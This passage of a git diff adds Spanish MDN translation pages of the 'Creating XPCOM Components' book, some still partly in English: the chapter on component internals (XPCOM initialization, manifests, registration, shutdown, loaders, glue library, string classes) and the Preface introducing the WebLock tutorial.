+ <dd><a href="/es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Downloading_and_Setting_the_SDK" title="es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Downloading_and_Setting_the_SDK">Downloading and Setting the SDK</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Building_a_Microsoft_Visual_Cpp_Project" title="es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Building_a_Microsoft_Visual_Cpp_Project">Building a Microsoft Visual Cpp Project</a>
+ <dl>
+  <dd><a href="/es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Creating_a_New_Project" title="es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Creating_a_New_Project">Creating a New Project</a></dd>
+  <dd><a href="/es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Adding_the_Gecko_SDK_to_the_Project_Settings" title="es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#Adding_the_Gecko_SDK_to_the_Project_Settings">Adding the Gecko SDK to the Project Settings</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#A_Makefile_for_Unix" title="es/Creating_XPCOM_Components/Setting_up_the_Gecko_SDK#A_Makefile_for_Unix">A Makefile for Unix</a></dd>
+</dl>
+
+<h3 id="Appendix_B_-_Resources" name="Appendix_B_-_Resources"><a href="/es/Creating_XPCOM_Components/Resources" title="es/Creating_XPCOM_Components/Resources">Appendix B - Resources</a></h3>
+
+<dl>
+ <dd><a href="/es/Creating_XPCOM_Components/Resources#WebLock_Resources" title="es/Creating_XPCOM_Components/Resources#WebLock_Resources">WebLock Resources</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Resources#Gecko_Resources" title="es/Creating_XPCOM_Components/Resources#Gecko_Resources">Gecko Resources</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Resources#XPCOM_Resources" title="es/Creating_XPCOM_Components/Resources#XPCOM_Resources">XPCOM Resources</a></dd>
+ <dd><a href="/es/Creating_XPCOM_Components/Resources#General_Development_Resources" title="es/Creating_XPCOM_Components/Resources#General_Development_Resources">General Development Resources</a></dd>
+</dl>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Creating_XPCOM_Components:Preface">Siguiente  »</a></p>
+</div><p></p>
+
+<div class="licenseblock">
+<p>Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the <a class="external" href="http://www.opencontent.org/openpub/" rel="noopener">Open Publication License</a>, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.</p>
+</div>
diff --git a/files/es/creación_de_componentes_xpcom/interior_del_componente/index.html b/files/es/creación_de_componentes_xpcom/interior_del_componente/index.html
new file mode 100644
index 0000000000..e69797653b
--- /dev/null
+++ b/files/es/creación_de_componentes_xpcom/interior_del_componente/index.html
@@ -0,0 +1,216 @@
+---
+title: Interior del Componente
+slug: Creación_de_Componentes_XPCOM/Interior_del_Componente
+tags:
+  - Todas_las_Categorías
+  - XPCOM
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Creación_de_Componentes_XPCOM:Using_XPCOM_Components" style="float: left;">« Anterior</a><a href="/es/docs/Creación_de_Componentes_XPCOM:Creating_the_Component_Code">Siguiente  »</a></p>
+</div> En el capítulo anterior describimos los componentes desde una perspectiva de un cliente de los componentes XPCOM, en este capútulo abordamos los componentes desde la perspectiva del desarrollador del programa. Léelo para ver como se implementan generalmente los componentes en XPCOM, o puedes brincarte al siguiente capítulo, donde el tutorial del componente WebLock te lleva paso a paso através del proceso de creación del componente. <span class="comment">XXX mediawiki...</span><span class="comment">XXX sucks</span><p></p>
+
+<h3 id="Creaci.C3.B3n_de_Componentes_en_C.2B.2B" name="Creaci.C3.B3n_de_Componentes_en_C.2B.2B">Creación de Componentes en C++</h3>
+
+<p>Empecemos por examinar como se escriben en C++ los componentes XPCOM. El tipo más común de componente es el escrito en C++ y compilado en una biblioteca compartida (una <abbr title="Dynamic Link Library">DLL</abbr> en un sistema Windows o una <abbr title="Dynamic Shared Object">DSO</abbr> en Unix).</p>
+
+<p>La imagen de abajo muestra la relación básica entre una biblioteca que contiene la implementación del código del componente que escribiste y la plataforma XPCOM en sí misma. En este diagrama, la superficie más externa del módulo es la biblioteca compartida en la que se define un componente.</p>
+
+<p><span id="Un_Componente_en_la_Plataforma_XPCOM"><a id="Un_Componente_en_la_Plataforma_XPCOM"></a><strong>Un Componente en la Plataforma XPCOM</strong></span></p>
+
+<p><img alt="Image:component-internals-framework.png"></p>
+
+<p>Cuando construyes un componente o un módulo y lo compilas dentro de una biblioteca, debe exportar un método llamado <code>NSGetModule</code>. Esta función <code>NSGetModule</code> es el punto de acceso a la biblioteca. Es llamado durante el registro y el desregistro del componente y cuando XPCOM quiere descubrir qué interfaces o clases implementa el módulo/biblioteca. En este capítulo abordaremos todo este proceso.</p>
+
+<p>Como ilustra <a href="#Un_Componente_en_la_Plataforma_XPCOM">Un Componente en la Plataforma XPCOM</a>, además del punto de acceso <code>NSGetModule</code>, están las interfaces <code>nsIModule</code> y <code>nsIFactory</code> que controlan la creación actual del componente y también las partes XPCOM glue y cadenas, que discutiremos un poco a detalle en la siguiente sección (Ve <a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Interior_del_Componente#XPCOM_Glue">XPCOM Glue</a>). Estas nos darán utilidades para desarrollo fácil más adelante como son punteros inteligentes, soporte de módulos genéricos e implementaciones simples de cadenas. La parte más larga y posiblemente la más compleja de un componente es el código específico del componente en sí mismo.</p>
+
+<div class="side-note">
+<p><span id="%C2%BFPero_D%C3%B3nde_Est%C3%A1n_los_Componentes?"><a id="%C2%BFPero_D%C3%B3nde_Est%C3%A1n_los_Componentes?"></a><strong>¿Pero Dónde Están los Componentes?</strong></span></p>
+
+<p>Los componentes residen en módulos y esos módulos son definidos en bibliotecas compartidas típicamente situadas en el directorio<em>components</em> de una aplicación XPCOM.</p>
+
+<p>Un conjunto de bibliotecas son almacenadas por defecto en este directorio components es lo que hay en una típica instalación de Gecko, dando la funcionalidad que consiste en trabajo en red, layout, composición, una interfaz de usuario multiplataforma y otros.</p>
+
+<p>Otra vista aún más básica de esta relación de componentes a archivos e interfaces que los definen se muestra en <a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Creaci%c3%b3n_del_C%c3%b3digo_del_Componente">Vista de Papel Cebolla de la creación del Componente XPCOM</a> en el próximo capítulo. El componente es una abstracción situada entre el módulo actual en el que se implementa y los objetos que el código de su factoría crea para que uso de los clientes.</p>
+</div>
+
+<h3 id="Inicializaci.C3.B3n_de_XPCOM" name="Inicializaci.C3.B3n_de_XPCOM">Inicialización de XPCOM</h3>
+
+<p>Para entender porqué y cuándo tu biblioteca de componentes es llamada, es importante entender el proceso de inicialización de XPCOM. Cuando inicia una aplicación, la aplicación puede<em>inicializar</em> XPCOM. La secuencia de eventos que lanza esta inicialización de XPCOM pueden ser lanzados por una ccioón del usuario o por el inicio de la aplicación en sí misma. Un buscador web que tiene embebido Gecko, por ejemplo, puede inicializar XPCOM al inicio atravéz de APIs embebidas. Otra aplicación puede este inicio hasta que XPCOM se necesite por primera vez. En otro caso, la secuencia de inicialización dentro de XPCOM es la misma.</p>
+
+<p>XPCOM inicia cuando la aplicación hace una llamada para inicializarlo. Los parámetros pasados a esta llamada de inicialización te permiten configurar algunos aspectos de XPCOM, incluyendo la personalización de la ubicación de directorios específicos. El propósito principal del API en este punto es cambiar que directorio<em>components</em> inspecciona cuando busca componentes XPCOM. Así es como se usa el API, por ejemplo, en el<em>Gecko Runtime Environment</em> (GRE).</p>
+
+<div class="side-note">
+<p><span id="Inicializaci%C3%B3n_de_XPCOM"><a id="Inicializaci%C3%B3n_de_XPCOM"></a><strong>Inicialización de XPCOM</strong></span></p>
+
+<p>Los seis pasos básicos para arrancar XPCOM son los siguientes:</p>
+
+<ol>
+ <li>La aplicación inicia XPCOM.</li>
+ <li>XPCOM envía una notificación que inicia el arranque.</li>
+ <li>XPCOM encuentra y procesa el<em>manifiesto del componente</em> (ve <a href="#Manifiestos_de_Componentes">Manifiestos de Componentes</a> abajo).</li>
+ <li>Si hay nuevos componentes, XPCOM los registra:
+  <ol>
+   <li>XPCOM llama el arranque del autoregistro.</li>
+   <li>XPCOM registra los nuevos componentes.</li>
+   <li>XPCOM llama el fin del autoregistro.</li>
+  </ol>
+ </li>
+ <li>Arranque completo de XPCOM: XPCOM notifica que ha iniciado.</li>
+</ol>
+
+<p>Los manifiestos de Componentes y bibliotecas de tipos son descritos en la siguiente sección, <a href="#Registro_de_Manifiestos_de_XPCOM">Registro de Manifiestos de XPCOM</a>.</p>
+</div>
+
+<h4 id="Registro_de_Manifiestos_de_XPCOM" name="Registro_de_Manifiestos_de_XPCOM">Registro de Manifiestos de XPCOM</h4>
+
+<p>XPCOM usa archivos especiales llamados manifiestos para cambiar y guardar información acerca de los componentes en el sistema local. Hay dos tipos de manifiestos que usa XPCOM para cambiar componentes:</p>
+
+<h5 id="Manifiestos_de_Componente" name="Manifiestos_de_Componente">Manifiestos de Componente</h5>
+
+<p>Cuando XPCOM inicia por primera vez, busca el<em>manifiesto de componentes</em> que es un archivo que lista todos los componentes registrados y guarda detalles de lo que exactamente puede hacer cada componente. XPCOM usa el manifiesto de componentes para determinar que componentes han sido sobreescritos. Empezando en Mozilla 1.2, este archivo es llamado <code>compreg.dat</code> y existe en el directorio<em>components</em>, pero hay esfuerzos por moverlo fuera de esta ubicación a una ubicación menos centrada en la aplicación y más centrada en el usuario. Cualquier aplicación bassada en Gecko puede escoger ponerlo en otro lado. XPCOM lee este archivo dentro de una base de datos en memoria.</p>
+
+<div class="side-note">
+<p><span id="Manifiestos_de_Componentes"><a id="Manifiestos_de_Componentes"></a><strong>Manifiestos de Componentes</strong></span></p>
+
+<p>El manifiesto de componente es una correlación de archivos a componentes y de componentes a clases. Especifica la siguiente información:</p>
+
+<ul>
+ <li>Ubicación en disco de los componentes registrados con el tamaño de archivo</li>
+ <li>ID de Clase relacionado a la Ubicación.</li>
+ <li>Contract ID relacionado al ID de Clase.</li>
+</ul>
+
+<p>El manifiesto del componente relaciona archivos de componentes a identificadores únicos para las implementaciones específicas (IDs de Clase), que en su momento son relacionados a identificadores de componente más generales (contract IDs).</p>
+</div>
+
+<h5 id="Manifiestos_de_Bibliotecas_de_Tipos" name="Manifiestos_de_Bibliotecas_de_Tipos">Manifiestos de Bibliotecas de Tipos</h5>
+
+<p>Otro archivo importante que lee XPCOM es el<em>manifiesto de bibliotecas de tipos</em>. Este archivo tambien se localiza en el directorio<em>components</em> y se llama <code>xpti.dat</code>. Incluye la ubicación y direcciones de búsqueda de todas las bibliotecas de tipos en el sistema. este archivo también lista todas las interfaces conocidas y enlaces a los archivos de bibliotecas de tipos que definen estas estructuras de interfaces. Estos archivos de bibliotecas de tipos son el core para que XPCOM pueda ser script y de la arquitectura de componentes binarios de XPCOM.</p>
+
+<div class="side-note">
+<p><span id="Manifiestos_de_Bibliotecas_de_Tipos"><a id="Manifiestos_de_Bibliotecas_de_Tipos"></a><strong>Manifiestos de Bibliotecas de Tipos</strong></span> Los manifiestos de bibliotecas de tipos contienen la siguiente información:</p>
+
+<ul>
+ <li>ubicación de todos los archivos de bibliotecas de tipos</li>
+ <li>correlación de todas las interfaces conocidas y bibliotecas de tipos donde están definidas estas estructuras.</li>
+</ul>
+</div>
+
+<p>Using the data in these two manifests, XPCOM knows exactly which component libraries have been installed and what implementations go with which interfaces. Additionally, it relates the components to the type libraries in which the binary representations of the interfaces they support are defined.</p>
+
+<p>The next section describes how to hook into the XPCOM startup and registration process and make the data about your component available in these manifests, so that your component will be found and registered at startup.</p>
+
+<h4 id="M.C3.A9todos_de_Registro_en_XPCOM" name="M.C3.A9todos_de_Registro_en_XPCOM">Métodos de Registro en XPCOM</h4>
+
+<div class="side-note">
+<p><span id="What_Is_XPCOM_Registration?"><a id="What_Is_XPCOM_Registration?"></a><strong>What Is XPCOM Registration?</strong></span></p>
+
+<p>In a nutshell, registration is the process that makes XPCOM aware of your component(s). As this section and the next describe, you can register your component explicitly during installation, or with the <code>regxpcom</code> program, or you can use the autoregistration methods in the Service Manager to find and register components in a specified components directory:</p>
+
+<ul>
+ <li>XPInstall APIs</li>
+ <li><code>regxpcom</code> command-line tool</li>
+ <li><code>nsIComponentRegistrar</code> APIs from Service Manager</li>
+</ul>
+
+<p>The registration process is fairly involved. This section introduces it in terms of XPCOM initialization, and the next chapter describes what you have to do in your component code to register your component with XPCOM.</p>
+</div>
+
+<p>Once the manifest files are read in, XPCOM checks to see if there are any components that need to be registered. There are two supported ways to go about registering your XPCOM component. The first is to use<em>XPInstall</em>, which is an installation technology that may or may not come with a Gecko application and provides interfaces for registering your component during installation. Another, more explicit way to register your component is to run the application <code>regxpcom</code>, which is built as part of Mozilla and is also available in the Gecko SDK. <code>regxpcom</code> registers your component in the default component registry.</p>
+
+<p>A Gecko embedding application may also provide its own way of registering XPCOM components using the interface that is in fact used by both XPInstall and <code>regxpcom</code>, <code>nsIComponentRegistrar</code>. An application, for example, could provide a "registration-less" component directory whose components are automatically registered at startup and unregistered at shutdown. Component discovery does not currently happen automatically in non-debug builds of Gecko, however.</p>
+
+<p>When the registration process begins, XPCOM broadcasts to all registered observers a notification that says XPCOM has begun the registration of new components. After all components are registered, another notification is fired saying that XPCOM is done with the registration step. The <code>nsIObserver</code> interface that handles this notification is discussed in <a href="es/Creating_XPCOM_Components/Starting_WebLock">Starting WebLock</a>.</p>
+
+<p>Once registration is complete and the notifications have fired, XPCOM is ready to be used by the application. If XPCOM registered your component, then it will be available to other parts of the XPCOM system. The <a href="#XPCOM_Initialization">XPCOM Initialization</a> section in this chapter describes registration in more detail.</p>
+
+<h4 id="Autoregistro" name="Autoregistro">Autoregistro</h4>
+
+<p>The term<em>autoregistration</em> is sometimes used synonymously with registration in XPCOM. In the <a href="#What_Is_XPCOM_Registration?">What Is XPCOM Registration?</a> note, we describe the three ways you can register components with XPCOM. Sometimes, applications use the <code>nsIComponentRegistrar</code> interface and create their own code for watching a particular directory and registering new components that are added there, which is what's often referred to as<em>autoregistration</em>. You should always know what the installation and registration requirements are for the applications that will be using your component.</p>
+
+<h4 id="El_Proceso_de_Paro" name="El_Proceso_de_Paro">El Proceso de Paro</h4>
+
+<p>When the application is ready to shutdown XPCOM, it calls <code>NS_ShutdownXPCOM</code>. When that method is called, the following sequence of events occurs:</p>
+
+<ol>
+ <li>XPCOM fires a shutdown notification to all registered observers.</li>
+ <li>XPCOM closes down the Component Manager, the Service Manager and associated services.</li>
+ <li>XPCOM frees all global services.</li>
+ <li>NS_ShutdownXPCOM returns and the application may exit normally.</li>
+</ol>
+
+<div class="side-note">
+<p><span id="The_Unstoppable_Shutdown"><a id="The_Unstoppable_Shutdown"></a><strong>The Unstoppable Shutdown</strong></span></p>
+
+<p>Note that shutdown observation is unstoppable. In other words, the event you observe cannot be used to implement something like a "Are you sure you want to Quit?" dialog. Rather, the shutdown event gives the component or embedding application a last chance to clean up any leftovers before they are released. In order to support something like an "Are you sure you want to quit" dialog, the application needs to provide a higher-level event (e.g., <code>startShutdown()</code>) which allows for cancellation.</p>
+
+<p>Note also that XPCOM services may deny you access once you have received the shutdown notification. It is possible that XPCOM will return an error if you access the <code>nsIServiceManager</code> at that point, for example, so you may have to keep a reference-counted pointer to the service you are interested in using during this notification.</p>
+</div>
+
+<h4 id="Component_Loaders" name="Component_Loaders">Component Loaders</h4>
+
+<p>Components can be written in many languages. So far this book has been focusing on "native components," shared libraries exporting a <code>NSGetModule</code> symbol. But if there is a<em>component loader</em> for Javascript installed, then you can also write a JavaScript component.</p>
+
+<p>To register, unregister, load and manage various component types, XPCOM abstracts the interface between the XPCOM component and XPCOM with the Component Loader. This loader is responsible for initialization, loading, unloading, and supporting the <code>nsIModule</code> interface on behalf of each component. It is the Component Loader's responsibility to provide scriptable component support.</p>
+
+<p>When building a "native" component, the component loader looks for an exported symbol from the components shared library. "Native" here includes any language that can generate a platform native dynamically loaded library. Scripting languages and other "non-native" languages usually have no way to build native libraries. In order to have "non-native" XPCOM components work, XPCOM must have a special component loader which knows how to deal with these type of components.</p>
+
+<p>XPConnect, for example, provides a component loader that makes the various types, including the interfaces and their parameters, available to JavaScript. Each language supported by XPCOM must have a component loader.</p>
+
+<h4 id="Tres_Partes_de_una_Biblioteca_de_Componentes_XPCOM" name="Tres_Partes_de_una_Biblioteca_de_Componentes_XPCOM">Tres Partes de una Biblioteca de Componentes XPCOM</h4>
+
+<p>XPCOM is like an onion<span class="comment">or a parfait! Everybody likes parfaits</span>. XPCOM components have at least three layers. From the innermost and moving outward these layers include:</p>
+
+<ul>
+ <li>The core XPCOM object</li>
+ <li>The factory code</li>
+ <li>The module code</li>
+</ul>
+
+<p>The core XPCOM object is the object that will implement the functionality you need. For example, this is the object that may start a network download and implement interfaces that will listen to the progress. Or the object may provide a new content type handler. Whatever it does, this object is at the core of the XPCOM component, and the other layers are supporting it, plugging it into the XPCOM system. A single library may have many of these core objects.</p>
+
+<p>One layer above the core object is the factory code. The factory object provides a basic abstraction of the core XPCOM object. <a href="es/Creating_XPCOM_Components/An_Overview_of_XPCOM">An Overview of XPCOM</a> discussed the factory design pattern that's used in a factory object. At this layer of the XPCOM Component Library, the factory objects are factories for the core XPCOM objects of the layer below.</p>
+
+<p>One more layer outward is the module code. The module interface provides yet another abstraction - this time of the factories - and allows for multiple factory objects. From the outside of the component library, there is only the single entry point, <code>NSGetModule()</code>. This point of entry may fan out to any number of factories, and from there, to any number of XPCOM objects.</p>
+
+<p>The following chapter details these layers in terms of the XPCOM interfaces that represent them. Here we will just introduce them. The factory design pattern in XPCOM is represented by the <code>nsIFactory</code> interface. The module layer is represented by the <code>nsIModule</code> interface. Most component libraries only need these two interfaces, along with the <code>nsISupports</code> interface, to have XPCOM load, recognize, and use their core object code.</p>
+
+<p>In the next section, we'll be writing the code that actually compiles into a component library, and you will see how each layer is implemented and how each interface is used. Following this initial, verbose demonstration of the APIs, we will introduce a faster more generic way of implementing the module and factory code using macros, which can make components much easier to create.</p>
+
+<h3 id="XPCOM_Glue" name="XPCOM_Glue">XPCOM Glue</h3>
+
+<p>XPCOM contains a lot of stuff. Most of the XPCOM interfaces are not frozen and are meant to be used only by the Gecko internals, not by clients. XPCOM provides many data structures from linked lists to <a class="external" href="http://en.wikipedia.org/wiki/AVL_tree">AVL trees</a>. Instead of writing your own linked list, it's tempting to reuse <code>nsVoidArray</code> or another publicly available class, but this might be a fatal mistake. At any time the class can change and give you unexpected behavior.</p>
+
+<p>XPCOM makes for a very open environment. At runtime you can acquire any service or component merely by knowing a CID, or Contract ID, and an IID. At last count there were over 1300 interfaces defined in XPIDL. Of those 1300 interfaces, less than 100 were frozen, which means that a developer has a good chance of stumbling upon useful interfaces that aren't frozen. If an interface isn't explicitly marked "FROZEN" in the IDL comments, however - and most of them aren't - it will cause your component to possibly break or crash when the version changes.</p>
+
+<h4 id="La_Biblioteca_Glue" name="La_Biblioteca_Glue">La Biblioteca Glue</h4>
+
+<p>In general you should avoid any unfrozen interfaces, any symbols in XPCOM, or any other part of Gecko libraries that aren't frozen. However, there are some unfrozen tools in XPCOM that are used so often they are practically required parts of component programming.</p>
+
+<p>The smart pointer class, <code>nsCOMPtr</code>, for example, which can make reference counting a lot less tedious and error-prone, is not actually frozen, and neither are <code>nsDebug</code>, a class for aiding in tracking down bugs, or <code>nsMemory</code>, a class to ensure that everyone uses the same heap, generic factory, and module. Instead of asking every developer to find and copy these various files into their own application, XPCOM provides a single library of "not-ready-to-freeze-but-really-helpful" classes that you can link into your application, as the following figure demonstrates.</p>
+
+<p><span id="XPCOM_Glue_and_Tools"><a id="XPCOM_Glue_and_Tools"></a><strong>XPCOM Glue and Tools</strong></span></p>
+
+<p><img alt="Image:xpcom-glue-tools.png"></p>
+
+<p>This is the glue library. It provides a bridge, or "glue" layer, between your component and XPCOM.</p>
+
+<p>A version of the glue library is built into XPCOM, and when your component uses it, it links a snapshot of this library: it includes a copy of these unfrozen classes directly, which allows the XPCOM library version to change without affecting the software. There is a slight footprint penalty to linking directly, but this gives your component freedom to work in any recent environment. If footprint is a big issue in your component or application, you can trim out the pieces you don't need.</p>
+
+<h4 id="Clases_de_Cadenas_de_XPCOM" name="Clases_de_Cadenas_de_XPCOM">Clases de Cadenas de XPCOM</h4>
+
+<p>The base string types that XPCOM uses are <code>nsAString</code> and <code>nsACString</code>. These classes are described in the Mozilla String Guide (see <a href="es/Creating_XPCOM_Components/Resources#Gecko_Resources">Gecko Resources</a>).</p>
+
+<p>The string classes that implement these abstract classes are another set of helpful, unfrozen classes in XPCOM. Most components and embedding applications need to link to some kind of string classes in order to utilize certain Gecko APIs, but the string code that Mozilla uses is highly complex and even more expensive than the glue code in terms of footprint (~100k). <code>nsEmbedString</code> and <code>nsEmbedCString</code> are available as very light string class implementations for component development, especially in small embedded applications. This string implementation does the bare minimum to support <code>nsAString</code>/<code>nsACString</code> string classes.</p>
+
+<p>In your own component, you can go "slim" and restrict yourself to the <code>nsEmbedString</code> or go "hog wild" and use all of the functionality of the other strings. WebLock restricts itself to using the simple <code>nsEmbedString</code> family of classes.</p>
+
+<p><span id="String_Classes_and_XPCOM"><a id="String_Classes_and_XPCOM"></a><strong>String Classes and XPCOM</strong></span></p>
+
+<p><img alt="Image:strings-in-xpcom.png"></p>
+
+<p>The glue library provides stub functions for the public functions that XPCOM provides (see <code><a href="https://dxr.mozilla.org/mozilla-central/source/xpcom/build/nsXPCOM.h" rel="custom">xpcom/build/nsXPCOM.h</a></code>). When the glue library is initialized, it dynamically loads these symbols from the XPCOM library, which allows the component to avoid linking directly with the XPCOM library. You shouldn't have to link to the XPCOM library to create a XPCOM component - in fact, if your component has to, then something is wrong. </p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Creating_XPCOM_Components:Using_XPCOM_Components" style="float: left;">« Anterior</a><a href="/es/docs/Creating_XPCOM_Components:Creating_the_Component_Code">Siguiente  »</a></p>
+</div> <p></p><div class="licenseblock">
+<p>Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the <a class="external" href="http://www.opencontent.org/openpub/" rel="noopener">Open Publication License</a>, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.</p>
+</div><p></p>
diff --git a/files/es/creación_de_componentes_xpcom/prefacio/index.html b/files/es/creación_de_componentes_xpcom/prefacio/index.html
new file mode 100644
index 0000000000..5ba98982da
--- /dev/null
+++ b/files/es/creación_de_componentes_xpcom/prefacio/index.html
@@ -0,0 +1,39 @@
+---
+title: Prefacio
+slug: Creación_de_Componentes_XPCOM/Prefacio
+---
+<p>Este es un libro acerca de Gecko, y cómo crear componentes <a href="es/XPCOM">XPCOM</a> para aplicaciones basadas en Gecko. Aunque se hace énfasis en los pasos prácticos que sigues para que hagas tu código C++ dentro de un componente que pueda ser usado en Gecko, esperamos que esos pasos nos den también la ocasión de abordar todas las herramientas, técnicas y tecnologías que integran XPCOM. En consecuencia, este libro es arreglado de tal forma que puedes seguirlo y crear tus propios componentes o aprender distintos tópicos de XPCOM individualmente, como en una guía de referencia. Por ejemplo, la introducción incluye una discusión acerca de lo que son los componentes; y el primer capítulo - en el cual tu compilas un código básico y lo registras en Mozilla - apunta una discusión de la relación entre componentes y módulos de las interfases de XPCOM y del proceso de registro en general.
+</p><p>El principio de cada capítulo provee una lista de los tópicos más importantes tratados. Las secciones en la barra de al lado son incluidas para resaltar detalles técnicos. Al terminar el libro, si hemos hecho nuestro trabajo, habrás aprendido como construir componentes y sabrás algo acerca del framework para esos componentes en Gecko, que es XPCOM.
+</p>
+<h3 id="Quién_debe_leer_este_Libro"> Quién debe leer este Libro </h3>
+<p><a href="es/Creaci%c3%b3n_de_Componentes_XPCOM">Creación de Componentes XPCOM</a> está dirigido a desarrolladores C++. Aunque puedes crear componentes XPCOM en <a href="es/Javascript">Javascript</a> y otros lenguajes y aunque tal vez puedas seguir el libro como programador <a href="es/C">C</a>, el código de implementación está escrito en C++ y mucha de la discusión de cómo hacer tu código <i>dentro</i> de un componente XPCOM empieza desde C++. De cualquier modo no necesitas ser un experto en C++, aunque debes estar familiarizado con ideas básicas como herencia y encapsulación, ideas que cuando es posible son explicadas en el libro donde son usadas. También muchos de los ejemplos son en Javascript, que es usado en Mozilla para accesar componentes XPCOM como objetos script, así que estar familiarizado con ese lenguaje es útil también.
+</p><p>XPCOM significa Cross Platform Component Object Model(Modelo Componente Objeto Multiplataforma), como su nombre lo implica, XPCOM es similar al Microsoft COM, si tienes alguna experiencia con esta tecnología, grán parte de eso puede aplicarse a XPCOM. De cualquier modo este libro no asume ningún conocimiento previo de COM - todas las ideas básicas de COM serán introducidas.
+</p><p>Este libro provee un tutorial de cómo construir un componente XPCOM que controle el comportamiento de búsqueda; aunque XPCOM puede ser usado en muchos ambientes relacionados con búsqueda web, su principal cliente es Gecko, un buscador web embebido de código abierto, que cumple con estándares, donde es más fácil y práctico ilustrar la funcionalidad de XPCOM. Una descripción completa del componente de este turial puede ser encontrada en la sección <a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Creaci%c3%b3n_de_el_C%c3%b3digo_del_Componente#En_lo_que_Estaremos_Trabajando">En lo que Estaremos Trabajando</a> de este tutorial.
+</p>
+<div class="note">
+<p>A pesar de lo que dice la documentación, XPCOM no debe ser usado para hacer <a href="es/Plugins">NPAPI plugins</a> script. A partir de la versión 1.7.5 de Gecko(Firefox 1.0) una extensión especial NPAPI para llamar desde script es soportada vea <a href="es/Gecko_Plugin_API_Reference/Scripting_plugins">Scripting plugins</a>.
+</p>
+</div>
+<h3 id="Organización_del_Tutorial"> Organización del Tutorial </h3>
+<p>La siguiente lista da una reseña de de los pasos que seguiremos para crear un componente XPCOM llamado <i>Weblock</i>, el cual provee la funcionalidad de bloqueo de sitios a los buscadores basados en Gecko. Cada uno de estos pasos tiene su propio capitulo, en el que se discuten varios tópicos asociados al paso.
+</p>
+<ul><li> Crear el módulo genérico de módulo para el componente.
+</li><li> Usar macros C++, clases especiales de cadenas y punteros inteligentes para optimizar el código.
+</li><li> Definir la funcionalidad del componente; crear una interfaz <a href="es/XPIDL">XPIDL</a> para esa funcionalidad, crear el código específico para la implementación adaptada de la interfaz del componente <i>Weblock</i>.
+</li><li> Finalizar la implementación del componente <i>Weblock</i>: <code>nsIContentPolicy</code>, E/S de archivos, bloqueo, etc.
+</li><li> Creación de la interfaz de usuario del componente <i>Weblock</i>.
+</li><li> Empaquetar <i>Weblock</i> para su distribución e instalación.
+</li></ul>
+<h3 id="Continuando_con_los_Ejemplos"> Continuando con los Ejemplos </h3>
+<p>Hay dos formas diferentes de tener XPCOM en tu máquina para poder crear componentes. Si ya tienes un Mozilla construído o el código fuente de Mozilla 1.2 o posterior, entonces puedes usar la plataforma XPCOM disponible ahí. Si no tienes las fuentes de Mozilla, entonces puedes bajar el Gecko SDK, que es una colección de librerías y herramientas que componen la plataforma de componentes XPCOM.
+</p><p>No importa si compilas tu código en el directorio de las fuentes de Mozilla o usas el Gecko SDK, puedes construir tus propios componentes que usen los componentes previamente existentes en Gecko. el componente <b>Weblock</b> que describimos en este tutorial es un complemento práctico(y esperamos genuinamente útil) para el navegador. Para poder construirlo, tu Gecko SDK o tus fuentes de Mozilla deben ser versión 1.2 o superior (las interfaces XPCOM en versiones anteriores no fueron completamente congeladas).
+</p><p>Este Libro asume que estas usando el SDK en vez del directorio de las fuentes de Mozilla, de cualquier forma la diferencia entre ambos es mínima. Detalles acerca de cómo obtener el SDK, construir y obtener acceso programático a los componetes de Gecko se dan en el APENDICE del libro, <a href="es/Creaci%c3%b3n_de_Componentes_XPCOM/Configurar_el_Gecko_SDK">Configurar el Gecko SDK</a>.
+</p>
+<h3 id="Convenciones"> Convenciones </h3>
+<p>Las convenciones de formato listadas abajo se usan para designar tipos específicos de información en el libro y hacer las cosas más fáciles de encontrar. El objetivo es usar tan pocos formatos como sea posible, pero distinguir los diferentes tipos de información claramente.
+</p>
+<table class="standard-table"> <tbody><tr> <td class="header">Formato</td> <td class="header">Descripción</td> </tr> <tr> <td><b>bold</b></td> <td><b>nombres de componentes</b> aparecen en negro en el texto</td> </tr> <tr> <td><code>monospace</code></td> <td><code>referencias al código</code>, <code>nombres de interfaces</code> y <code>miembros</code> de interfaces (ejm. <code>createInstance()</code>) aparecen en letra monospaced. Líneas de código aparecen en cajas separadas. También <code>nombres de archivos</code> y <code>directorios</code> aparecen en letra monospaced.</td> </tr> <tr> <td><i>itálica</i></td> <td><i>variables</i> aparecen en letra itálica. Términos importantes y nuevos conceptos también aparecen en letra itálica la primera vez que aparecen en el texto. También aquellos términos que son explicados inmediatamente después de ser citados, o donde se le dice al lector que vaya a una sección en el libro en donde se describen dichos términos a detalle.</td> </tr> <tr> <td>link</td> <td>Referencias a otras secciones, imágenes y tablas también son links a esas secciones.</td> </tr>
+</tbody></table>
+<h3 id="Agradecimientos"> Agradecimientos </h3>
+<p>Gracias a Peter Lubczynski, John Gaunt, Ellen Evans y Alec Flett por sus revisiones técnicas. Un agradecimiento especial a Darin Fisher por sus observaciones tan meticulosas, lectura tan cercana y atención a los detalles.
+</p>
diff --git a/files/es/creación_de_componentes_xpcom/un_vistazo_de_xpcom/index.html b/files/es/creación_de_componentes_xpcom/un_vistazo_de_xpcom/index.html
